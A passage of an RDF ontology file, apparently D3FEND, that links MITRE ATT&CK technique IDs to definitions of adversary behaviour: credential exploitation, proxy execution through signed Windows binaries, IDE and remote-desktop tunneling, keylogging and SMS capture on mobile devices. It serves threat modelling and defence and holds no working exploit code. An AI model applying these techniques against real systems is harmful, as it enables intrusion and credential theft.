    d3f:attack-id "T1212" ;
    d3f:definition "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. " ;
    d3f:may-access d3f:AuthenticationService,
        d3f:CredentialManagementSystem ;
    d3f:may-modify d3f:ProcessCodeSegment,
        d3f:StackFrame ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ProcessCodeSegment ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:StackFrame ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:CredentialManagementSystem ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:AuthenticationService ],
        d3f:CredentialAccessTechnique .

d3f:T1213.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Confluence" ;
    d3f:accesses d3f:WebFileResource ;
    d3f:attack-id "T1213.001" ;
    d3f:definition "Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:WebFileResource ],
        d3f:T1213 .

d3f:T1213.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Sharepoint" ;
    d3f:accesses d3f:WebFileResource ;
    d3f:attack-id "T1213.002" ;
    d3f:definition "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:WebFileResource ],
        d3f:T1213 .

d3f:T1213.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Code Repositories" ;
    d3f:attack-id "T1213.003" ;
    d3f:definition "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git." ;
    d3f:reads d3f:CodeRepository ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:CodeRepository ],
        d3f:T1213 .

d3f:T1213.004 a owl:Class ;
    rdfs:label "Customer Relationship Management Software" ;
    d3f:attack-id "T1213.004" ;
    d3f:definition "Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data." ;
    rdfs:subClassOf d3f:T1213 .

d3f:T1213.005 a owl:Class ;
    rdfs:label "Messaging Applications" ;
    d3f:attack-id "T1213.005" ;
    d3f:definition "Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information." ;
    rdfs:subClassOf d3f:T1213 .

d3f:T1214 a owl:Class ;
    rdfs:label "Credentials in Registry" ;
    d3f:attack-id "T1214" ;
    d3f:definition "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons." ;
    rdfs:comment "This technique has been revoked by T1552.002" ;
    rdfs:seeAlso d3f:T1552.002 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1215 a owl:Class ;
    rdfs:label "Kernel Modules and Extensions" ;
    d3f:attack-id "T1215" ;
    d3f:definition "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)" ;
    rdfs:comment "This technique has been revoked by T1547.006" ;
    rdfs:seeAlso d3f:T1547.006 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1216.001 a owl:Class ;
    rdfs:label "PubPrn" ;
    d3f:attack-id "T1216.001" ;
    d3f:definition "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)" ;
    rdfs:subClassOf d3f:T1216 .

d3f:T1216.002 a owl:Class ;
    rdfs:label "SyncAppvPublishingServer" ;
    d3f:attack-id "T1216.002" ;
    d3f:definition "Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)" ;
    rdfs:subClassOf d3f:T1216 .

d3f:T1217 a owl:Class ;
    rdfs:label "Browser Information Discovery" ;
    d3f:attack-id "T1217" ;
    d3f:definition "Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)" ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1218.007 a owl:Class ;
    rdfs:label "Msiexec" ;
    d3f:attack-id "T1218.007" ;
    d3f:definition "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft." ;
    rdfs:subClassOf d3f:T1218 .

d3f:T1218.008 a owl:Class ;
    rdfs:label "Odbcconf" ;
    d3f:attack-id "T1218.008" ;
    d3f:definition "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft." ;
    rdfs:subClassOf d3f:T1218 .

d3f:T1218.012 a owl:Class ;
    rdfs:label "Verclsid" ;
    d3f:attack-id "T1218.012" ;
    d3f:definition "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)" ;
    rdfs:subClassOf d3f:T1218 .

d3f:T1218.013 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Mavinject" ;
    d3f:attack-id "T1218.013" ;
    d3f:definition "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)" ;
    d3f:invokes d3f:CreateThread ;
    d3f:modifies d3f:ProcessSegment ;
    rdfs:seeAlso <https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateThread ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ProcessSegment ],
        d3f:T1218 .

d3f:T1218.014 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "MMC" ;
    d3f:attack-id "T1218.014" ;
    d3f:definition "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)" ;
    d3f:executes d3f:ShellCommand ;
    d3f:may-add d3f:Software ;
    d3f:may-modify d3f:SystemConfigurationDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:ShellCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-add ;
            owl:someValuesFrom d3f:Software ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        d3f:T1218 .

d3f:T1218.015 a owl:Class ;
    rdfs:label "Electron Applications" ;
    d3f:attack-id "T1218.015" ;
    d3f:definition "Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)" ;
    rdfs:subClassOf d3f:T1218 .

d3f:T1219.001 a owl:Class ;
    rdfs:label "IDE Tunneling" ;
    d3f:attack-id "T1219.001" ;
    d3f:definition "Adversaries may abuse Integrated Development Environment (IDE) software with remote development features to establish an interactive command and control channel on target systems within a network. IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.(Citation: sentinelone operationDigitalEye Dec 2024)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Thornton tutorial VSCode shell September 2023)" ;
    rdfs:subClassOf d3f:T1219 .

d3f:T1219.002 a owl:Class ;
    rdfs:label "Remote Desktop Software" ;
    d3f:attack-id "T1219.002" ;
    d3f:definition "An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)" ;
    rdfs:subClassOf d3f:T1219 .

d3f:T1219.003 a owl:Class ;
    rdfs:label "Remote Access Hardware" ;
    d3f:attack-id "T1219.003" ;
    d3f:definition "An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment." ;
    rdfs:subClassOf d3f:T1219 .

d3f:T1220 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "XSL Script Processing" ;
    d3f:adds d3f:File ;
    d3f:attack-id "T1220" ;
    d3f:definition "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)" ;
    d3f:interprets d3f:ExecutableScript ;
    d3f:invokes d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:interprets ;
            owl:someValuesFrom d3f:ExecutableScript ],
        [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:DefenseEvasionTechnique .

d3f:T1221 a owl:Class ;
    rdfs:label "Template Injection" ;
    d3f:attack-id "T1221" ;
    d3f:definition "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1222.001 a owl:Class ;
    rdfs:label "Windows File and Directory Permissions Modification" ;
    d3f:attack-id "T1222.001" ;
    d3f:definition "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.)." ;
    rdfs:subClassOf d3f:T1222 .

d3f:T1222.002 a owl:Class ;
    rdfs:label "Linux and Mac File and Directory Permissions Modification" ;
    d3f:attack-id "T1222.002" ;
    d3f:definition "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.)." ;
    rdfs:subClassOf d3f:T1222 .

d3f:T1223 a owl:Class ;
    rdfs:label "Compiled HTML File" ;
    d3f:attack-id "T1223" ;
    d3f:definition "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)" ;
    rdfs:comment "This technique has been revoked by T1218.001" ;
    rdfs:seeAlso d3f:T1218.001 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1398 a owl:Class ;
    rdfs:label "Boot or Logon Initialization Scripts - ATTACK Mobile" ;
    d3f:attack-id "T1398" ;
    d3f:definition "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts are part of the underlying operating system and are not accessible to the user unless the device has been rooted or jailbroken." ;
    rdfs:subClassOf d3f:ATTACKMobilePersistenceTechnique ;
    skos:prefLabel "Boot or Logon Initialization Scripts" .

d3f:T1399 a owl:Class ;
    rdfs:label "Modify Trusted Execution Environment - ATTACK Mobile" ;
    d3f:attack-id "T1399" ;
    d3f:definition "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)" ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobilePersistenceTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Modify Trusted Execution Environment" .

d3f:T1400 a owl:Class ;
    rdfs:label "Modify System Partition - ATTACK Mobile" ;
    d3f:attack-id "T1400" ;
    d3f:definition "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user." ;
    rdfs:comment "This technique has been revoked by T1625.001" ;
    rdfs:seeAlso d3f:T1625.001 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobileImpactTechnique,
        d3f:ATTACKMobilePersistenceTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Modify System Partition" .

d3f:T1401 a owl:Class ;
    rdfs:label "Device Administrator Permissions - ATTACK Mobile" ;
    d3f:attack-id "T1401" ;
    d3f:definition "Adversaries may request device administrator permissions to perform malicious actions." ;
    rdfs:comment "This technique has been revoked by T1626.001" ;
    rdfs:seeAlso d3f:T1626.001 ;
    rdfs:subClassOf d3f:ATTACKMobilePrivilegeEscalationTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Device Administrator Permissions" .

d3f:T1402 a owl:Class ;
    rdfs:label "Broadcast Receivers - ATTACK Mobile" ;
    d3f:attack-id "T1402" ;
    d3f:definition "An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received." ;
    rdfs:comment "This technique has been revoked by T1624.001" ;
    rdfs:seeAlso d3f:T1624.001 ;
    rdfs:subClassOf d3f:ATTACKMobileExecutionTechnique,
        d3f:ATTACKMobilePersistenceTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Broadcast Receivers" .

d3f:T1403 a owl:Class ;
    rdfs:label "Modify Cached Executable Code - ATTACK Mobile" ;
    d3f:attack-id "T1403" ;
    d3f:definition "ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)" ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKMobilePersistenceTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Modify Cached Executable Code" .

d3f:T1404 a owl:Class ;
    rdfs:label "Exploitation for Privilege Escalation - ATTACK Mobile" ;
    d3f:attack-id "T1404" ;
    d3f:definition "Adversaries may exploit software vulnerabilities in order to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions." ;
    rdfs:subClassOf d3f:ATTACKMobilePrivilegeEscalationTechnique ;
    skos:prefLabel "Exploitation for Privilege Escalation" .

d3f:T1405 a owl:Class ;
    rdfs:label "Exploit TEE Vulnerability - ATTACK Mobile" ;
    d3f:attack-id "T1405" ;
    d3f:definition "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE)." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKMobileCredentialAccessTechnique,
        d3f:ATTACKMobilePrivilegeEscalationTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Exploit TEE Vulnerability" .

d3f:T1406.001 a owl:Class ;
    rdfs:label "Steganography - ATTACK Mobile" ;
    d3f:attack-id "T1406.001" ;
    d3f:definition "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files." ;
    rdfs:subClassOf d3f:T1406 ;
    skos:prefLabel "Steganography" .

d3f:T1406.002 a owl:Class ;
    rdfs:label "Software Packing - ATTACK Mobile" ;
    d3f:attack-id "T1406.002" ;
    d3f:definition "Adversaries may perform software packing to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory." ;
    rdfs:subClassOf d3f:T1406 ;
    skos:prefLabel "Software Packing" .

d3f:T1407 a owl:Class ;
    rdfs:label "Download New Code at Runtime - ATTACK Mobile" ;
    d3f:attack-id "T1407" ;
    d3f:definition "Adversaries may download and execute dynamic code not included in the original application package after installation. This technique is primarily used to evade static analysis checks and pre-publication scans in official app stores. In some cases, more advanced dynamic or behavioral analysis techniques could detect this behavior. However, in conjunction with [Execution Guardrails](https://attack.mitre.org/techniques/T1627) techniques, detecting malicious code downloaded after installation could be difficult." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Download New Code at Runtime" .

d3f:T1408 a owl:Class ;
    rdfs:label "Disguise Root/Jailbreak Indicators - ATTACK Mobile" ;
    d3f:attack-id "T1408" ;
    d3f:definition "An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi)." ;
    rdfs:comment "This technique has been revoked by T1630.003" ;
    rdfs:seeAlso d3f:T1630.003 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Disguise Root/Jailbreak Indicators" .

d3f:T1409 a owl:Class ;
    rdfs:label "Stored Application Data - ATTACK Mobile" ;
    d3f:attack-id "T1409" ;
    d3f:definition "Adversaries may try to access and collect application data resident on the device. Adversaries often target popular applications, such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)" ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    skos:prefLabel "Stored Application Data" .

d3f:T1410 a owl:Class ;
    rdfs:label "Network Traffic Capture or Redirection - ATTACK Mobile" ;
    d3f:attack-id "T1410" ;
    d3f:definition "An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same." ;
    rdfs:comment "This technique has been revoked by T1638" ;
    rdfs:seeAlso d3f:T1638 ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique,
        d3f:ATTACKMobileCredentialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Network Traffic Capture or Redirection" .

d3f:T1411 a owl:Class ;
    rdfs:label "Input Prompt - ATTACK Mobile" ;
    d3f:attack-id "T1411" ;
    d3f:definition "The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information." ;
    rdfs:comment "This technique has been revoked by T1417.002" ;
    rdfs:seeAlso d3f:T1417.002 ;
    rdfs:subClassOf d3f:ATTACKMobileCredentialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Input Prompt" .

d3f:T1412 a owl:Class ;
    rdfs:label "Capture SMS Messages - ATTACK Mobile" ;
    d3f:attack-id "T1412" ;
    d3f:definition "A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication." ;
    rdfs:comment "This technique has been revoked by T1636.004" ;
    rdfs:seeAlso d3f:T1636.004 ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique,
        d3f:ATTACKMobileCredentialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Capture SMS Messages" .

d3f:T1413 a owl:Class ;
    rdfs:label "Access Sensitive Data in Device Logs - ATTACK Mobile" ;
    d3f:attack-id "T1413" ;
    d3f:definition "On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique,
        d3f:ATTACKMobileCredentialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Access Sensitive Data in Device Logs" .

d3f:T1414 a owl:Class ;
    rdfs:label "Clipboard Data - ATTACK Mobile" ;
    d3f:attack-id "T1414" ;
    d3f:definition "Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device.(Citation: Fahl-Clipboard)" ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique,
        d3f:ATTACKMobileCredentialAccessTechnique ;
    skos:prefLabel "Clipboard Data" .

d3f:T1415 a owl:Class ;
    rdfs:label "URL Scheme Hijacking - ATTACK Mobile" ;
    d3f:attack-id "T1415" ;
    d3f:definition "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA)." ;
    rdfs:comment "This technique has been revoked by" ;
    rdfs:seeAlso d3f: ;
    rdfs:subClassOf d3f:ATTACKMobileCredentialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "URL Scheme Hijacking" .

d3f:T1416 a owl:Class ;
    rdfs:label "URI Hijacking - ATTACK Mobile" ;
    d3f:attack-id "T1416" ;
    d3f:definition "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data." ;
    rdfs:comment "This technique has been revoked by T1635.001" ;
    rdfs:seeAlso d3f:T1635.001 ;
    rdfs:subClassOf d3f:ATTACKMobileCredentialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "URI Hijacking" .

d3f:T1417.001 a owl:Class ;
    rdfs:label "Keylogging - ATTACK Mobile" ;
    d3f:attack-id "T1417.001" ;
    d3f:definition "Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them." ;
    rdfs:subClassOf d3f:T1417 ;
    skos:prefLabel "Keylogging" .

d3f:T1418.001 a owl:Class ;
    rdfs:label "Security Software Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1418.001" ;
    d3f:definition "Adversaries may attempt to get a listing of security applications and configurations that are installed on a device. This may include things such as mobile security products. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1418/001) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions." ;
    rdfs:subClassOf d3f:T1418 ;
    skos:prefLabel "Security Software Discovery" .

d3f:T1419 a owl:Class ;
    rdfs:label "Device Type Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1419" ;
    d3f:definition "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits." ;
    rdfs:comment "This technique has been revoked by" ;
    rdfs:seeAlso d3f: ;
    rdfs:subClassOf d3f:ATTACKMobileDiscoveryTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Device Type Discovery" .

d3f:T1420 a owl:Class ;
    rdfs:label "File and Directory Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1420" ;
    d3f:definition "Adversaries may enumerate files and directories or search in specific device locations for desired information within a filesystem. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) during automated discovery to shape follow-on behaviors, including deciding if the adversary should fully infect the target and/or attempt specific actions." ;
    rdfs:subClassOf d3f:ATTACKMobileDiscoveryTechnique ;
    skos:prefLabel "File and Directory Discovery" .

d3f:T1422.001 a owl:Class ;
    rdfs:label "Internet Connection Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1422.001" ;
    d3f:definition "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using `adb shell netstat` for Android.(Citation: adb_commands)" ;
    rdfs:subClassOf d3f:T1422 ;
    skos:prefLabel "Internet Connection Discovery" .

d3f:T1422.002 a owl:Class ;
    rdfs:label "Wi-Fi Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1422.002" ;
    d3f:definition "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Discovery](https://attack.mitre.org/tactics/TA0032) or [Credential Access](https://attack.mitre.org/tactics/TA0031) activity to support both ongoing and future campaigns." ;
    rdfs:subClassOf d3f:T1422 ;
    skos:prefLabel "Wi-Fi Discovery" .

d3f:T1423 a owl:Class ;
    rdfs:label "Network Service Scanning - ATTACK Mobile" ;
    d3f:attack-id "T1423" ;
    d3f:definition "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN)." ;
    rdfs:subClassOf d3f:ATTACKMobileDiscoveryTechnique ;
    skos:prefLabel "Network Service Scanning" .

d3f:T1424 a owl:Class ;
    rdfs:label "Process Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1424" ;
    d3f:definition "Adversaries may attempt to get information about running processes on a device. Information obtained could be used to gain an understanding of common software/applications running on devices within a network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1424) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." ;
